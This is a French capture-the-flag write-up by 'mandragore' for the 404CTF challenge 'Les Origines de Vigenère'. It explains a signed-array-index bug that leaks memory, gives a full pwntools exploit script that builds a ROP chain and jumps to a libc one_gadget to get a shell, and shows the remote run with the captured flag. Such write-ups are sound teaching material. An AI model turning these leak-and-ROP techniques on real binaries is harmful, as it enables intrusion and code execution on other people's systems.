Challenge Les Origines de Vigenère
https://ctf.404ctf.fr/challenges#Les%20Origines%20de%20Vigen%C3%A8re-286
La cible prend un buffer, ressort les lettres les plus fréquentes et propose une substitution. Un classique de la crypto pen & paper.
Il y a les protections modernes (pie, aslr) sauf le canary.
Il y a plusieurs fois la même vulnérabilité, on utilise les bytes du buffer (et des substitutions) comme index signé d’un array.
On peut donc donner des valeurs négatives.
La première étape consiste à récupérer des leaks.
La fonction print_modified() utilise ce code :
if (substitutions[ciphertext[i]])
printf("\033[32m%c\033[0m", substitutions[ciphertext[i]]); // green
Si ciphertext[i] est > 0x80, printf va afficher ce qu’il y a avant &substitutions.
Malheureusement, pas de leak de la libc, mais on a la base de l’exécutable et de la lib ld.
J’ajoute ld car la cible n’a pas beaucoup de gadgets.
Plus loin dans ask_substitution on a :
if (strncmp("null", input2, 4) == 0 || input2[0] == '\n')
substitutions[input1[0]] = 0;
else
substitutions[input1[0]] = input2[0];
On peut écrire avant &substitutions.
On va écrire un ROP dans substitutions[+xx], et écraser le retour de ask_substitution situé à substitutions[-..] pour retomber sur un ret.
Ça va lancer le ROP.
Il faut bidouiller un peu car on ne peut pas écrire à substitutions[0x0a], on fera un saut au-dessus dans le ROP.
Je n’ai pas trouvé comment finir avec seulement LD et le binaire (malgré les syscalls, etc.), la taille est au maximum 0x7f.
Du coup, j’affiche l’entrée de puts depuis la GOT et je relance challenge().
Avec ce nouveau leak, je dérive l’adresse de la libc et au tour suivant je recommence ask_substitution pour sauter sur un one_gadget.
Ça ne doit pas être l’intended car je ne profite pas de l’absence de canary…
➜ vigenere ./exploit.py REMOTE
[!] Did not find any GOT entries
[+] Opening connection to spawn.404ctf.fr on port 10302: Done
[+] elf.address=0x561a19bb5000
[+] ld.address=0x7fcabc7d6000
[*] Loaded 5 cached gadgets for './chall_patched'
[*] Loaded 89 cached gadgets for './ld-linux-x86-64.so.2'
[+] libc.address=0x7fcabc5df000
[*] Switching to interactive mode
Linux localhost 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64 GNU/Linux
404CTF{LeS_crYpt0graPhes_ad0rent_lEs_51gnAtures}
[*] Got EOF while reading in interactive
- mandragore, 2026/05/22
#!/usr/bin/env python3
from pwn import *
#sys.tracebacklimit = 0 # yeah I know it crashed
context.arch = 'amd64'
#context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['lxterminal','--geometry=100x100','-e']
elf = ELF('./chall_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
if args.DBG:
context.log_level = 'debug'
else:
context.log_level = 'info'
if args.REMOTE:
p = remote('spawn.404ctf.fr', 10302)
else:
if args.GDB:
p = gdb.debug(elf.path,gdbscript='''
# leak
# break *print_modified+0x50
# overwrite
break *ask_substitution+0xe9 if $rdx==0xffffffffffffffe8
continue
''')
else:
p = process(elf.path)
# leaks
p.recvuntil(b'vide)\n')
payload=b''
leakoff=256-0x18 # challenge+0x1e2
for i in range(leakoff,leakoff+8):
payload+=p8(i)
leakoff=256-0x50 # ld.data?
for i in range(leakoff,leakoff+8):
payload+=p8(i)
p.sendline(payload)
p.sendline()
p.recvuntil(b'couleurs ? [Y/n]\n')
p.sendline()
p.recvuntil(b'RESULTAT\n\n')
leaks=p.recvline()
leaks=leaks.split(b'\x1b[32m')
leak=b''
for l in leaks:
leak+=l[0:1]
#print(hexdump(leak))
assert len(leak)>10, 'aslr has nulls, please retry'
leakelf=u64(leak[0:6].ljust(8,b'\x00'))
elf.address=leakelf - elf.sym.challenge-0x1e2
success(f'{elf.address=:#x}')
leakld=u64(leak[6:15].ljust(8,b'\x00')) << 8
ld.address=leakld - 0x36000
success(f'{ld.address=:#x}')
# stager
retaddr=elf.address+0x11c3 # pop ; ret
#retaddr=0x1122334455667788
retaddr=p64(retaddr)
shift=0xf0
for i in range(shift,shift+8):
p.sendlineafter(b'terminer)\n',p8(i))
p.sendlineafter(b'substitution)\n',retaddr[i-shift:i-shift+1])
# rop chain
rop=ROP([elf,ld])
rop.raw(elf.address+0x11c3) # pop/ret = skip next
rop.raw(0x1122334455667787) # will get mangled (0x0a forbidden)
rop.puts(elf.got.puts)
rop.raw(elf.sym.challenge)
ropchain=rop.chain()
# print(rop.dump())
assert len(ropchain)<0x80,"rop too long"
for i in range(len(ropchain)):
if i==10:
continue
p.sendlineafter(b'terminer)\n',p8(i)) # cant write to 0x0a
p.sendlineafter(b'substitution)\n',ropchain[i:i+1])
# local ret to stager from ask_substitution
p.sendlineafter(b'terminer)\n',p8(0xe8))
p.sendlineafter(b'substitution)\n',p8(0xad))
leak=p.readline()
# print(hexdump(leak))
libc.address=u64(leak[0:6].ljust(8,b'\x00'))-libc.sym.puts
success(f'{libc.address=:#x}')
# play again
p.sendlineafter(b'vide)\n',b'x\n')
p.sendlineafter(b'couleurs ? [Y/n]\n',b'Y')
# b00m
retaddr=p64(libc.address+0xfb062) # onegadget
shift=0xf0
for i in range(shift,shift+8):
p.sendlineafter(b'terminer)\n',p8(i))
p.sendlineafter(b'substitution)\n',retaddr[i-shift:i-shift+1])
p.sendlineafter(b'terminer)\n',p8(0xe8))
p.sendlineafter(b'substitution)\n',p8(0xad))
p.sendline(b'uname -a;cat flag.txt')
p.interactive()